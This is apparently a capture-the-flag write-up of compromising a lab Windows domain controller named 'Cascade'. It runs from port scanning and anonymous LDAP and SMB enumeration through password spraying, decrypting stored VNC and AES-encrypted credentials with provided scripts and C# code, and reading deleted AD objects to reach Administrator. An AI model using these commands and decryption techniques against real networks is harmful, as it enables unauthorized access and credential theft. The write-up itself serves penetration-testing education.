Breaking In

Starting off with a full TCP port scan:

sudo nmap -sS -sV -sC -O -oN scan_full.log -p- -T5 -Pn -v $target

Our scan results:

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-07-05 09:10:45Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|7|2008|8.1|Vista (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows Embedded Standard 7 (91%), Microsoft Windows 7 or Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (89%), Microsoft Windows 7 (89%), Microsoft Windows 7 Professional or Windows 8 (89%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (89%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.009 days (since Fri Jul  5 18:58:26 2024)
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled and required
| smb2-time:
|   date: 2024-07-05T09:11:40
|_  start_date: 2024-07-05T08:59:32
|_clock-skew: 41s

We can identify that the machine is very likely to be a Windows machine; it is running a Microsoft DNS product and it has the typical Kerberos and LDAP ports open indicative of a Domain Controller. Both LDAP ports (389, 3268) leak the domain name of cascade.local which we will add to our /etc/hosts file.

No RDP is available but we do have WinRM open so when we get a user account, this is the likely ingress into the box.

The version of Windows is 2008 Server which is very old so there are likely quite a few vulnerabilities if it has not been patched.

Given port 53 and DNS is available and we know the domain, we can use dig to search for any domain information:

dig any cascade.local @$target

However, this doesn’t reveal any additional information. An attempt at a DNS zone transfer also fails.

An SMB null session allows us to query the password policy using netexec.

netexec smb $target -u '' -p '' --pass-pol
SMB         10.129.28.0     445    CASC-DC1         [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB         10.129.28.0     445    CASC-DC1         [+] cascade.local\:
SMB         10.129.28.0     445    CASC-DC1         [+] Dumping password info for domain: CASCADE
SMB         10.129.28.0     445    CASC-DC1         Minimum password length: 5
SMB         10.129.28.0     445    CASC-DC1         Password history length: None
SMB         10.129.28.0     445    CASC-DC1         Maximum password age: Not Set
SMB         10.129.28.0     445    CASC-DC1
SMB         10.129.28.0     445    CASC-DC1         Password Complexity Flags: 000000
SMB         10.129.28.0     445    CASC-DC1             Domain Refuse Password Change: 0
SMB         10.129.28.0     445    CASC-DC1             Domain Password Store Cleartext: 0
SMB         10.129.28.0     445    CASC-DC1             Domain Password Lockout Admins: 0
SMB         10.129.28.0     445    CASC-DC1             Domain Password No Clear Change: 0
SMB         10.129.28.0     445    CASC-DC1             Domain Password No Anon Change: 0
SMB         10.129.28.0     445    CASC-DC1             Domain Password Complex: 0
SMB         10.129.28.0     445    CASC-DC1
SMB         10.129.28.0     445    CASC-DC1         Minimum password age: None
SMB         10.129.28.0     445    CASC-DC1         Reset Account Lockout Counter: 30 minutes
SMB         10.129.28.0     445    CASC-DC1         Locked Account Duration: 30 minutes
SMB         10.129.28.0     445    CASC-DC1         Account Lockout Threshold: None
SMB         10.129.28.0     445    CASC-DC1         Forced Log off Time: Not Set

Given that a Null session is pssoible, we can also try a rid-brute with netexec.

netexec smb $target -u '' -p '' --rid-brute

This is successful and we get a user list.

SMB         10.129.28.0     445    CASC-DC1         [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB         10.129.28.0     445    CASC-DC1         [+] cascade.local\:
SMB         10.129.28.0     445    CASC-DC1         498: CASCADE\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.28.0     445    CASC-DC1         500: CASCADE\administrator (SidTypeUser)
SMB         10.129.28.0     445    CASC-DC1         501: CASCADE\CascGuest (SidTypeUser)
SMB         10.129.28.0     445    CASC-DC1         502: CASCADE\krbtgt (SidTypeUser)
SMB         10.129.28.0     445    CASC-DC1         512: CASCADE\Domain Admins (SidTypeGroup)
SMB         10.129.28.0     445    CASC-DC1         513: CASCADE\Domain Users (SidTypeGroup)
SMB         10.129.28.0     445    CASC-DC1         514: CASCADE\Domain Guests (SidTypeGroup)
SMB         10.129.28.0     445    CASC-DC1         515: CASCADE\Domain Computers (SidTypeGroup)
SMB         10.129.28.0     445    CASC-DC1         516: CASCADE\Domain Controllers (SidTypeGroup)
SMB         10.129.28.0     445    CASC-DC1         517: CASCADE\Cert Publishers (SidTypeAlias)
SMB         10.129.28.0     445    CASC-DC1         518: CASCADE\Schema Admins (SidTypeGroup)
SMB         10.129.28.0     445    CASC-DC1         519: CASCADE\Enterprise Admins (SidTypeGroup)
SMB         10.129.28.0     445    CASC-DC1         520: CASCADE\Group Policy Creator Owners (SidTypeGroup)
SMB         10.129.28.0     445    CASC-DC1         521: CASCADE\Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.28.0     445    CASC-DC1         553: CASCADE\RAS and IAS Servers (SidTypeAlias)
SMB         10.129.28.0     445    CASC-DC1         571: CASCADE\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.129.28.0     445    CASC-DC1         572: CASCADE\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.129.28.0     445    CASC-DC1         1001: CASCADE\CASC-DC1$ (SidTypeUser)
SMB         10.129.28.0     445    CASC-DC1         1102: CASCADE\DnsAdmins (SidTypeAlias)
SMB         10.129.28.0     445    CASC-DC1         1103: CASCADE\DnsUpdateProxy (SidTypeGroup)
SMB         10.129.28.0     445    CASC-DC1         1106: CASCADE\arksvc (SidTypeUser)
SMB         10.129.28.0     445    CASC-DC1         1107: CASCADE\s.smith (SidTypeUser)
SMB         10.129.28.0     445    CASC-DC1         1109: CASCADE\r.thompson (SidTypeUser)
SMB         10.129.28.0     445    CASC-DC1         1111: CASCADE\util (SidTypeUser)
SMB         10.129.28.0     445    CASC-DC1         1113: CASCADE\IT (SidTypeAlias)
SMB         10.129.28.0     445    CASC-DC1         1114: CASCADE\Production (SidTypeAlias)
SMB         10.129.28.0     445    CASC-DC1         1115: CASCADE\HR (SidTypeAlias)
SMB         10.129.28.0     445    CASC-DC1         1116: CASCADE\j.wakefield (SidTypeUser)
SMB         10.129.28.0     445    CASC-DC1         1119: CASCADE\AD Recycle Bin (SidTypeAlias)
SMB         10.129.28.0     445    CASC-DC1         1120: CASCADE\Backup (SidTypeAlias)
SMB         10.129.28.0     445    CASC-DC1         1121: CASCADE\s.hickson (SidTypeUser)
SMB         10.129.28.0     445    CASC-DC1         1122: CASCADE\j.goodhand (SidTypeUser)
SMB         10.129.28.0     445    CASC-DC1         1123: CASCADE\Temps (SidTypeAlias)
SMB         10.129.28.0     445    CASC-DC1         1124: CASCADE\a.turnbull (SidTypeUser)
SMB         10.129.28.0     445    CASC-DC1         1125: CASCADE\WinRMRemoteWMIUsers__ (SidTypeAlias)
SMB         10.129.28.0     445    CASC-DC1         1126: CASCADE\Remote Management Users (SidTypeAlias)
SMB         10.129.28.0     445    CASC-DC1         1127: CASCADE\e.crowe (SidTypeUser)
SMB         10.129.28.0     445    CASC-DC1         1128: CASCADE\b.hanson (SidTypeUser)
SMB         10.129.28.0     445    CASC-DC1         1129: CASCADE\d.burman (SidTypeUser)
SMB         10.129.28.0     445    CASC-DC1         1130: CASCADE\BackupSvc (SidTypeUser)
SMB         10.129.28.0     445    CASC-DC1         1132: CASCADE\Factory (SidTypeAlias)
SMB         10.129.28.0     445    CASC-DC1         1133: CASCADE\Finance (SidTypeAlias)
SMB         10.129.28.0     445    CASC-DC1         1134: CASCADE\j.allen (SidTypeUser)
SMB         10.129.28.0     445    CASC-DC1         1135: CASCADE\i.croft (SidTypeUser)
SMB         10.129.28.0     445    CASC-DC1         1137: CASCADE\Audit Share (SidTypeAlias)
SMB         10.129.28.0     445    CASC-DC1         1138: CASCADE\Data Share (SidTypeAlias)

We can also get a list of users using rpcinfo.

rpcclient -U '' $target -N
rpclient $> querydispinfo

We still don’t have creds so there isn’t much we can do with the user list. However, it seems like some services are allowing access without credentials. Given we know the domain cascade.local, we can try an ldap search against that without credentialed access and see if it can work:

ldapsearch -x -H ldap://cascade.local -D '' -w '' -b "DC=cascade,DC=local"

This works! It dumps a huge amount of information but at least we have something to work with. There are many ways to go through this dump if you are more familiar with AD. My first naive pass was to use grep on things I might be interested in such as users and passwords if there were any and I got lucky. This grep command slowly formed:

cat ldap.log | grep -i "pass|pwd" | grep -iv "pwdLastSet|badPwdCount|badPasswordTime|PwdAge|pwdProperties|pwdHistoryLength|pwdLength"

One of the entries in this short list seems to be password: clk0bjVldmE=. Although, on closer inspection, it’s more likely a base64 encoded password. We echo "clk0bjVldmE=" | base64 -d to get rY4n5eva

To find out who this belongs to is now trivial since we know there is no account lockout policy and we have a list of users. So we can use netexec again to spray this possible password against users. Although, it’s probably Ryan’s.

netexec smb $target -u users.lst -p 'rY4n5eva'

And we get a positive hit for r.thompson:

SMB         10.129.28.0     445    CASC-DC1         [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB         10.129.28.0     445    CASC-DC1         [-] cascade.local\SMB:rY4n5eva STATUS_LOGON_FAILURE
SMB         10.129.28.0     445    CASC-DC1         [-] cascade.local\SMB:rY4n5eva STATUS_LOGON_FAILURE
SMB         10.129.28.0     445    CASC-DC1         [-] cascade.local\Enterprise:rY4n5eva STATUS_LOGON_FAILURE
SMB         10.129.28.0     445    CASC-DC1         [-] cascade.local\administrator:rY4n5eva STATUS_LOGON_FAILURE
SMB         10.129.28.0     445    CASC-DC1         [-] cascade.local\CascGuest:rY4n5eva STATUS_LOGON_FAILURE
SMB         10.129.28.0     445    CASC-DC1         [-] cascade.local\krbtgt:rY4n5eva STATUS_LOGON_FAILURE
SMB         10.129.28.0     445    CASC-DC1         [-] cascade.local\Domain:rY4n5eva STATUS_LOGON_FAILURE
SMB         10.129.28.0     445    CASC-DC1         [-] cascade.local\arksvc:rY4n5eva STATUS_LOGON_FAILURE
SMB         10.129.28.0     445    CASC-DC1         [-] cascade.local\s.smith:rY4n5eva STATUS_LOGON_FAILURE
SMB         10.129.28.0     445    CASC-DC1         [+] cascade.local\r.thompson:rY4n5eva

However, we don’t have the ability to log in via SMB or WinRM. So let’s check what shares the user has access to:

netexec smb $target -u 'r.thompson' -p 'rY4n5eva' --shares
SMB         10.129.28.0     445    CASC-DC1         [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB         10.129.28.0     445    CASC-DC1         [+] cascade.local\r.thompson:rY4n5eva
SMB         10.129.28.0     445    CASC-DC1         [*] Enumerated shares
SMB         10.129.28.0     445    CASC-DC1         Share           Permissions     Remark
SMB         10.129.28.0     445    CASC-DC1         -----           -----------     ------
SMB         10.129.28.0     445    CASC-DC1         ADMIN$                          Remote Admin
SMB         10.129.28.0     445    CASC-DC1         Audit$
SMB         10.129.28.0     445    CASC-DC1         C$                              Default share
SMB         10.129.28.0     445    CASC-DC1         Data            READ
SMB         10.129.28.0     445    CASC-DC1         IPC$                            Remote IPC
SMB         10.129.28.0     445    CASC-DC1         NETLOGON        READ            Logon server share
SMB         10.129.28.0     445    CASC-DC1         print$          READ            Printer Drivers
SMB         10.129.28.0     445    CASC-DC1         SYSVOL          READ            Logon server share

We have access to the non-standard share called “Data” as the r.thompson user. We can use netexec with the spider_plus module to crawl the shares and return a listing of the files it finds.

netexec smb $target -u 'r.thompson' -p 'rY4n5eva' --shares -M spider_plus

This produces a json output, let’s call it spider.log. We can parse this log for the bits we might care about which is filename and the share that it is in using jq

cat spider.log | jq '. | keys[] as $share | .[$share] | $share + ": " + keys[]'
Data: IT/Email Archives/Meeting_Notes_June_2018.html
Data: IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log
Data: IT/Logs/DCs/dcdiag.log
Data: IT/Temp/s.smith/VNC Install.reg
NETLOGON: MapAuditDrive.vbs
NETLOGON: MapDataDrive.vbs
SYSVOL: cascade.local/Policies/{2906D621-7B58-40F1-AA47-4ED2AEF29484}/GPT.INI
SYSVOL: cascade.local/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI
SYSVOL: cascade.local/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf
SYSVOL: cascade.local/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol
SYSVOL: cascade.local/Policies/{322FEA29-156D-4476-8A06-1935A3525C1C}/GPO.cmt
SYSVOL: cascade.local/Policies/{322FEA29-156D-4476-8A06-1935A3525C1C}/GPT.INI
SYSVOL: cascade.local/Policies/{322FEA29-156D-4476-8A06-1935A3525C1C}/User/Scripts/scripts.ini
SYSVOL: cascade.local/Policies/{4026EDF8-DBDA-4AED-8266-5A04B80D9327}/GPT.INI
SYSVOL: cascade.local/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/GPT.INI
SYSVOL: cascade.local/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf
SYSVOL: cascade.local/Policies/{820E48A7-D083-4C2D-B5F8-B24462924714}/GPT.INI
SYSVOL: cascade.local/Policies/{D67C2AD5-44C7-4468-BA4C-199E75B2F295}/GPT.INI
SYSVOL: cascade.local/scripts/MapAuditDrive.vbs
SYSVOL: cascade.local/scripts/MapDataDrive.vbs

Due to the frequency of performing this same step when spidering a target, I wrap this up in a zsh function called parse-spider:

function parse-spider() {
    if [ -z $1 ]; then
        echo "Expected IP address"
        echo "Usage: parse-spider 10.10.10.10"
        return
    fi

    cat /tmp/nxc_spider_plus/$1.json | jq '. | keys[] as $share | .[$share] | $share + ": " + keys[]' | tr -d "\""
}

Easy enough to go and grab this file using smbclient:

smbclient //$target/Data -U 'cascade.local/r.thompson'

Looking at the meeting notes in the IT email archives reveals a username and bit of information regarding it’s password:

Username is TempAdmin (password is the same as the normal admin account password)

Typically, temporary accounts are rarily as temporary as they should be and they are given privileges they shouldn’t have.

Another interesting file is the VNC Install.reg in a file related to s.smith, the one who wrote the email. This file contains an interesting line with "Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f. It’s possible to reverse this with xxd -r -p but it doesn’t look like a real password. Looking at https://book.hacktricks.xyz/network-services-pentesting/pentesting-vnc#decrypting-vnc-password reveals that reversing the VNC password is entirely possible. Doing some further digging reveals that the encryption key is quite well known now for older versions of tight VNC. Looking at this GitHub, https://github.com/billchaison/VNCDecrypt, reveals a simple bash method for reversing the password:

echo -n 6bcf2a4b6e5aca0f | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv

This seems like something I’d reuse again, so once more, I create a script to do this that I stick inside the .zshrc:

function decrypt-vnc-password() {
    if [ -z $1 ]; then
        echo "Expected hex of stored VNC password"
        echo "Usage: decrypt-vnc-password 6bcf2a4b6e5aca0f"
        return
    fi

    echo -n $1 | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv
}

Running decrypt-vnc-password 6bcf2a4b6e5aca0f gives us the password sT333ve2

Since the password was found in the directory titled s.smith, I assume it belongs to him so we can now test access to the target using SMB and WinRM. SMB fails but the password definitely belongs to steve. WinRM is successful according to netexec.

netexec winrm $target -u 's.smith' -p 'sT333ve2'

We can then use evil-winrm to access the target:

evil-winrm -i $target -u 's.smith' -p 'sT333ve2'

Running typical recon once in the box using whoami /groups reveals a few groups that s.smith is a part of.

GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                            Attributes
=========================================== ================ ============================================== ===============================================================
Everyone                                    Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
CASCADE\Data Share                          Alias            S-1-5-21-3332504370-1206983947-1165150453-1138 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\Audit Share                         Alias            S-1-5-21-3332504370-1206983947-1165150453-1137 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\IT                                  Alias            S-1-5-21-3332504370-1206983947-1165150453-1113 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\Remote Management Users             Alias            S-1-5-21-3332504370-1206983947-1165150453-1126 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-844

One of the script names from crawling the share mentions mapping an Audit drive but it was able to be accessed externally. We are also forbidden from going to C:\Shares.

*Evil-WinRM* PS C:\> dir


    Directory: C:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         1/9/2020   8:14 PM                inetpub
d-----        7/14/2009   4:20 AM                PerfLogs
d-r---        1/28/2020   7:27 PM                Program Files
d-r---         2/4/2021   4:24 PM                Program Files (x86)
d-----        1/15/2020   9:38 PM                Shares
d-r---        1/28/2020  11:37 PM                Users
d-----         2/4/2021   4:32 PM                Windows


*Evil-WinRM* PS C:\> cd Shares
*Evil-WinRM* PS C:\Shares> dir
Access to the path 'C:\Shares' is denied.
At line:1 char:1
+ dir
+ ~~~
    + CategoryInfo          : PermissionDenied: (C:\Shares:String) [Get-ChildItem], UnauthorizedAccessException
    + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

However, we are a part of the group that suggests we should have access to the ‘Audit’ share specifically. Maybe we can hop past the forbidden directory…

*Evil-WinRM* PS C:\Shares> dir
Access to the path 'C:\Shares' is denied.
At line:1 char:1
+ dir
+ ~~~
    + CategoryInfo          : PermissionDenied: (C:\Shares:String) [Get-ChildItem], UnauthorizedAccessException
    + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
*Evil-WinRM* PS C:\Shares> cd Audit
*Evil-WinRM* PS C:\Shares\Audit> dir


    Directory: C:\Shares\Audit


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        1/28/2020   9:40 PM                DB
d-----        1/26/2020  10:25 PM                x64
d-----        1/26/2020  10:25 PM                x86
-a----        1/28/2020   9:46 PM          13312 CascAudit.exe
-a----        1/29/2020   6:00 PM          12288 CascCrypto.dll
-a----        1/28/2020  11:29 PM             45 RunAudit.bat
-a----       10/27/2019   6:38 AM         363520 System.Data.SQLite.dll
-a----       10/27/2019   6:38 AM         186880 System.Data.SQLite.EF6.dll

It is not uncommon to see folder permissions like this. If you suspect you have access to a subdirectory, you should attempt to get into it directly if you know it’s name.

The next part of my process is to copy over the sqlite DB to the attack machine using smbserver.py from impacket and the copy command in Windows so I can inspect the DB locally.

Running sqlite3 against the Audit.db shows 3 tables, but the most interesting one is Ldap:

sqlite3 Audit.db

sqlite> select * from Ldap;
1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local

From other enumeration, both locally and externally, we know the ArkSvc account is a real account and this is likely a password. This base64 encoded ‘password’ looks like gibberish so it’s likely further encrypted. The sqlite DB was related to the application in the Audit directory so that probably holds the key (no pun intended) for this issue. I copied them over to my attack machine using the same smbserver strategy.

One of the only reasons I have the super shitty VS Code installed on my machine is for a plugin called ilspy. It’s useful for interogating dotnet assemblies and binaries without needing a Windows OS. I don’t like loading a whole Windows VM if I can do it on Linux. This awesome plugin can be found here, https://marketplace.visualstudio.com/items?itemName=icsharpcode.ilspy-vscode

In the CascCrypto.dll, there is a Crypto class that contains the information needed to decrypt/encrypt strings. I wrote a program to decrypt this base64 encoded password. Firstly, I didn’t want to install dotnet on my machine because it is massive bloat with every version filling up more space and lowering my will to live. Docker to the rescue:

sudo docker run --rm -it -v $(pwd):/dev/shm mcr.microsoft.com/dotnet/sdk:latest /bin/bash

Docker neatly isolates the dotnet poop from my host machine. Inside the docker container, I can now navigate to the /dev/shm directory and initialize a new dotnet console project using dotnet new console. This creates a Program.cs file which I then filled with:

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

public class Program
{
	  public static void Main(string[] args) {
		  Console.WriteLine(DecryptString("BQO5l5Kj9MdErXx6Q6AGOw==", "c4scadek3y654321"));		
	  }

    public const string DefaultIV = "1tdyjCbY1Ix49842";

    public const int Keysize = 128;

    public static string EncryptString(string Plaintext, string Key)
    {
        byte[] bytes = Encoding.UTF8.GetBytes(Plaintext);
        Aes aes = Aes.Create();
        aes.BlockSize = 128;
        aes.KeySize = 128;
        aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
        aes.Key = Encoding.UTF8.GetBytes(Key);
        aes.Mode = CipherMode.CBC;
        using MemoryStream memoryStream = new MemoryStream();
        using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateEncryptor(), CryptoStreamMode.Write))
        {
            cryptoStream.Write(bytes, 0, bytes.Length);
            cryptoStream.FlushFinalBlock();
        }
        return Convert.ToBase64String(memoryStream.ToArray());
    }

    public static string DecryptString(string EncryptedString, string Key)
    {
        byte[] array = Convert.FromBase64String(EncryptedString);
        Aes aes = Aes.Create();
        aes.KeySize = 128;
        aes.BlockSize = 128;
        aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
        aes.Mode = CipherMode.CBC;
        aes.Key = Encoding.UTF8.GetBytes(Key);
        using MemoryStream stream = new MemoryStream(array);
        using CryptoStream cryptoStream = new CryptoStream(stream, aes.CreateDecryptor(), CryptoStreamMode.Read);
        byte[] array2 = new byte[checked(array.Length - 1 + 1)];
        cryptoStream.Read(array2, 0, array2.Length);
        return Encoding.UTF8.GetString(array2);
    }
}

Note: the decryption key for this is found in the binary also using ilspy.

Running this from the docker container prints w3lc0meFr31nd to the console. We can now log into the target as the ArkSvc account using the password w3lc0meFr31nd:

evil-winrm -i $target -u 'ArkSvc' -p 'w3lc0meFr31nd'

Running whoami /groups as the ArkSvc account shows that we are a member of the AD Recycle group. This allows us the privilege to read deleted entries from AD. We know from the email we read from the share, that there is/was a TempAdmin account that existed at some point in time. With the ability to read deleted AD entries, we can see this entity, or at least try to:

Get-ADObject -filter { SAMAccountName -eq "TempAdmin" } -includeDeletedObjects -property *

We can see it also has that legacyCascadePwd property set! And we already know it is a base64 encoded password so it’s trivial to decrypt:

cascadeLegacyPwd                : YmFDVDNyMWFOMDBkbGVz

This gives us the password of baCT3r1aN00dles and presumably, given the info in the aforementioned email, this is likely the password of the existing Administrator. We try to log in again using the Administrator account and this password and we see success!

evil-winrm -i $target -u 'Administrator' -p 'baCT3r1aN00dles'

Learnings

  1. Always look at non-standard or unexpected properties on resources in LDAP. It can be a quick win, especially in this case where there is a plaintext password available.
  2. Always look for hidden shares (names appended by a $) during enumeration. You might not be able to access it immediately, but you should be able to indentify it for later.